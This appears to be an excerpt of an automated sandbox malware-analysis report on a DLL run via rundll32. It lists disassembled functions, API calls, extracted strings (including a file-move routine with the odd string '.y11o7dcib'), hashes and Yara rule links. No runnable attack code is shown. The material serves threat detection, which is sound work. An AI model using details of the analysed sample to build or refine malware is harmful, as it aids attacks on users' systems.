Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 07ce8c239bd06a8589bc8bea04b16732aed53c85c3e214b062796c50982c3d69
Instruction ID: e169c17263537cd042c3bc1d06c3723586db9372b33d5e3f674ed5918e23c281
Opcode Fuzzy Hash: 07ce8c239bd06a8589bc8bea04b16732aed53c85c3e214b062796c50982c3d69
Instruction Fuzzy Hash: FC317221B0BB4345EB159B25E8609B9B362EB94BE4F084132DA6D4F6F9DF7CE4428300

Function 00007FFDFB612C30 Relevance: 7.6, APIs: 5, Instructions: 79COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB612C45
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB612C6A
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB612C94
std::_Facet_Register.LIBCPMT ref: 00007FFDFB612D0B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB612D25

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 4f6312e5f6951af12e961a25dd366372f5c8df157c2af258db159c68604b77d6
Instruction ID: 0945fdddd4a8ff143d00d31ec54ef3a8f9df568e0eb7f1f25999a28eea37b92c
Opcode Fuzzy Hash: 4f6312e5f6951af12e961a25dd366372f5c8df157c2af258db159c68604b77d6
Instruction Fuzzy Hash: 0131A022B0BB4355EB05AB15E8609B97361EB90BA4F081132DA7D4B2FDDF3CE4429310

Function 00007FFDFB650E20 Relevance: 7.6, APIs: 5, Instructions: 79COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB650E35
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB650E5A
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB650E84
std::_Facet_Register.LIBCPMT ref: 00007FFDFB650EFB
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB650F15

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 41b77b8191f99844dc6edf6eefc01ffc86d6416b58fd8b61b46d26704adfd01c
Instruction ID: fd07e30f993b7408a61d4bd0aa358d833d427bfee296e4998681bbb7373ab586
Opcode Fuzzy Hash: 41b77b8191f99844dc6edf6eefc01ffc86d6416b58fd8b61b46d26704adfd01c
Instruction Fuzzy Hash: 26319E22B0BB4394EB159B15E860AB97361FB54BA0F180232DE6D4B6FDDF7CE4528340

Function 00007FFDFB612D40 Relevance: 7.6, APIs: 5, Instructions: 79COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB612D55
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB612D7A
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB612DA4
std::_Facet_Register.LIBCPMT ref: 00007FFDFB612E1B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB612E35

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: ebe454c25bda7478f17495af734f73e3e205bcaa4aa9aadefaf0a1c9616d883d
Instruction ID: 3562c15b7d34e1b1375ab66c2304b88e1bff9a4c1594a77405708d7d543e2f07
Opcode Fuzzy Hash: ebe454c25bda7478f17495af734f73e3e205bcaa4aa9aadefaf0a1c9616d883d
Instruction Fuzzy Hash: 8F317422B0BB4355EB05EB15D8609B97761EB54BA4F085132DE6D4B2FDDF3CE4468700

Function 00007FFDFB6B932C Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FFDFB6B9354
_set_statfp.LIBCMT ref: 00007FFDFB6B936F
_set_statfp.LIBCMT ref: 00007FFDFB6B938B
_set_statfp.LIBCMT ref: 00007FFDFB6B93C7

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 11caa31e0597653bc0b47b527cd1fdf7fe739b2243786484dd83a6a623a90c1b
Instruction ID: b30fe5f8939e62af945fbb720ace75fb54f3b40a55e3980fe6b31935e83488d4
Opcode Fuzzy Hash: 11caa31e0597653bc0b47b527cd1fdf7fe739b2243786484dd83a6a623a90c1b
Instruction Fuzzy Hash: 21112A27F1EF0341F7681529E576B7911B16F953B0F188634EA7E4E6FE8E2DA8814A00

Function 00007FFDFB6B25B0 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FFDFB69D687,?,?,00000000,00007FFDFB69D922,?,?,?,?,?,00007FFDFB69D8AE), ref: 00007FFDFB6B25CF
FlsSetValue.KERNEL32(?,?,?,00007FFDFB69D687,?,?,00000000,00007FFDFB69D922,?,?,?,?,?,00007FFDFB69D8AE), ref: 00007FFDFB6B25EE
FlsSetValue.KERNEL32(?,?,?,00007FFDFB69D687,?,?,00000000,00007FFDFB69D922,?,?,?,?,?,00007FFDFB69D8AE), ref: 00007FFDFB6B2616
FlsSetValue.KERNEL32(?,?,?,00007FFDFB69D687,?,?,00000000,00007FFDFB69D922,?,?,?,?,?,00007FFDFB69D8AE), ref: 00007FFDFB6B2627
FlsSetValue.KERNEL32(?,?,?,00007FFDFB69D687,?,?,00000000,00007FFDFB69D922,?,?,?,?,?,00007FFDFB69D8AE), ref: 00007FFDFB6B2638

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 72bf751a5bf034bc4eec04b408d09111c8f4efe8c02041a42078eb20e58b4ec2
Instruction ID: cc9a2c4db42cf54a62cb08cebbd0e5163e9f5e9f7aad459a60321582a11e006b
Opcode Fuzzy Hash: 72bf751a5bf034bc4eec04b408d09111c8f4efe8c02041a42078eb20e58b4ec2
Instruction Fuzzy Hash: 44117F21B0A60782FB58A7355A7597925A19F443B4F088739E93D4E6FFEE2CF4428A00

Function 00007FFDFB6BBAC4 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6BBDA3

Part of subcall function 00007FFDFB6C3454: _invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6C3471

Strings

UTF-8, xrefs: 00007FFDFB6BBD22
ccs, xrefs: 00007FFDFB6BBCDE
UTF-16LEUNICODE, xrefs: 00007FFDFB6BBD41

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: f1e107e8ed48d9383b70fb2c9d74250671a3569418ebe53c0e20505a677d71fd
Instruction ID: 9cf182e878f0f944a6503276c386df2ef0832cfa048d2cf1a73c81869013847d
Opcode Fuzzy Hash: f1e107e8ed48d9383b70fb2c9d74250671a3569418ebe53c0e20505a677d71fd
Instruction Fuzzy Hash: E4817E7AF0A20385F7659F258570A7826B0FB19B48F59C035CA6D5F6EDCF2DA8019B01

Function 00007FFDFB623270 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 205fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32 ref: 00007FFDFB623424

Strings

.y11o7dcib, xrefs: 00007FFDFB6232CE

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: FileMove
String ID: .y11o7dcib
API String ID: 3562171763-2862141232
Opcode ID: a20dca17073bf33438a361aa90b31341d356204bbd16aa5d9cde938cc98a18ae
Instruction ID: 215b61c406e002c9480b870fb88be57cfc183ff8149398a6e2416b201129b580
Opcode Fuzzy Hash: a20dca17073bf33438a361aa90b31341d356204bbd16aa5d9cde938cc98a18ae
Instruction Fuzzy Hash: 0081CB22B15B8295EF00DB65E4A46AD6371FB48BD8F944132DE6D1BBADDF38E185C300

Function 00007FFDFB622B20 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 192COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB622DCC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB622DD2

Strings

ter:, xrefs: 00007FFDFB622B71
PublicElement, xrefs: 00007FFDFB622D98

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: PublicElement$ter:
API String ID: 3668304517-3043986874
Opcode ID: 963d64f4281658cc95542cb546c52d7d9469c9a43dae1d8dac955f7df9356347
Instruction ID: befae6f0f92bf5de0256fb68a2f0a00d62a47b3d32807da1ea3dad69b675ab8c
Opcode Fuzzy Hash: 963d64f4281658cc95542cb546c52d7d9469c9a43dae1d8dac955f7df9356347
Instruction Fuzzy Hash: 01818A72B06A8295EB00DF65C4643AC2362FB89BD8F409632DE6D5BBE9DF38D155C300

Function 00007FFDFB655640 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 172COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FFDFB6558AA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB6558B6

Strings

gfffffff, xrefs: 00007FFDFB65567C
gfffffff, xrefs: 00007FFDFB65582A

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID: gfffffff$gfffffff
API String ID: 73155330-161084747
Opcode ID: 5ac11212355044cc0ad39d2a73d84862accaf694349c3c57e38f5d5cb6f4deae
Instruction ID: f06119e812c1de01a6777ba5583fe2e18e62cd7346d666f64bebf45e1203fb56
Opcode Fuzzy Hash: 5ac11212355044cc0ad39d2a73d84862accaf694349c3c57e38f5d5cb6f4deae
Instruction Fuzzy Hash: E951C172706B8682EB10CB16F468AA96369FB44BD0F544136DEAD4BBE9DE3CD051C300

Function 00007FFDFB622550 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 142COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB62272B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB622731
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB622737

Strings

HMAC(, xrefs: 00007FFDFB6225A7

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: HMAC(
API String ID: 3668304517-1483093950
Opcode ID: 93afa32e38321ebd044931de0db92bf8741816a8b11ef23a69fb5a065b8d8704
Instruction ID: c76d7f746251ca5180b77ccc553994440ae847fe5bee94ce7aaf72c9ada17f9c
Opcode Fuzzy Hash: 93afa32e38321ebd044931de0db92bf8741816a8b11ef23a69fb5a065b8d8704
Instruction Fuzzy Hash: 3C515B62B15B868AEB149F64D4647AD3361EB49BACF408631DA6C1BBE9DF38D144C340

Function 00007FFDFB617B80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB617BFF
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FFDFB617C47
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB617CE6

Strings

bad locale name, xrefs: 00007FFDFB617D0E

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Locinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2775327233-1405518554
Opcode ID: 3e5e7a7390bf924f7e4fcb3c44709bbb76a45b5cbafedbea905c44673b102340
Instruction ID: 14d2911ff3608dbfd764a199dd0392c1ff328ee2e4c6098af231d7c7fc49b246
Opcode Fuzzy Hash: 3e5e7a7390bf924f7e4fcb3c44709bbb76a45b5cbafedbea905c44673b102340
Instruction Fuzzy Hash: EF415A72B0BB4299EB14DF61D860AFC33A4EF44B48F045834DE5D1BAAACF38D5108358

Function 00007FFDFB67C2E4 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 99COMMON

Download Yara Rule

APIs

_Getvals.LIBCPMT ref: 00007FFDFB67C360

Part of subcall function 00007FFDFB67C0AC: std::_Maklocwcs.LIBCPMT ref: 00007FFDFB67C0CC
Part of subcall function 00007FFDFB67C0AC: std::_Maklocwcs.LIBCPMT ref: 00007FFDFB67C0E9
Part of subcall function 00007FFDFB67C0AC: std::_Maklocwcs.LIBCPMT ref: 00007FFDFB67C106

Strings

+v$x+v$xv$+xv+$xv$+x+$vx+$vx$v+x+$vx$+vx+v $+v $v $+v +$v $++$ v+$ v$ v++$ v$+ v+xv$+ v$v$ +v+ $v$ ++x$v+ $v$v ++ $v$ +v, xrefs: 00007FFDFB67C399
$+xv, xrefs: 00007FFDFB67C409
$+xv, xrefs: 00007FFDFB67C392

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Maklocwcsstd::_$Getvals
String ID: $+xv$$+xv$+v$x+v$xv$+xv+$xv$+x+$vx+$vx$v+x+$vx$+vx+v $+v $v $+v +$v $++$ v+$ v$ v++$ v$+ v+xv$+ v$v$ +v+ $v$ ++x$v+ $v$v ++ $v$ +v
API String ID: 1848906033-3573081731
Opcode ID: 07bb27be6fe3613ff66c3a4bb4534c3c7de92e9500bd45fc5e3d68a6359e62aa
Instruction ID: c35795cdb32fe58b4b47912e2553095037e9344fc268684ce73f5d575ba6e1c3
Opcode Fuzzy Hash: 07bb27be6fe3613ff66c3a4bb4534c3c7de92e9500bd45fc5e3d68a6359e62aa
Instruction Fuzzy Hash: EF41F433B09B928BE724CF21A1A097D7BA0FB45790B144235DB9957EA5DF38F561CB00

Function 00007FFDFB629F90 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 95COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB62A092
__std_exception_copy.LIBVCRUNTIME ref: 00007FFDFB62A0CD

Strings

/, xrefs: 00007FFDFB629FD8
: this object doesn't support multiple channels, xrefs: 00007FFDFB629FE1

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: __std_exception_copy_invalid_parameter_noinfo_noreturn
String ID: /$: this object doesn't support multiple channels
API String ID: 1109970293-537585387
Opcode ID: e84fbd32a9f5352dc2cf1049e8d05330363dccffbcfb130613879738f8c89446
Instruction ID: 3747684b6adf22b0d7e06cff171fc328c37e53c928803871a315b529c728cd51
Opcode Fuzzy Hash: e84fbd32a9f5352dc2cf1049e8d05330363dccffbcfb130613879738f8c89446
Instruction Fuzzy Hash: F141A172B1AB4691EB049F24E4606697360FB48BA4F508231EAAC477F9EF7CE194C340

Function 00007FFDFB67C5B8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 94COMMON

Download Yara Rule

APIs

_Maklocstr.LIBCPMT ref: 00007FFDFB67C65E
_Maklocstr.LIBCPMT ref: 00007FFDFB67C674

Strings

true, xrefs: 00007FFDFB67C66D
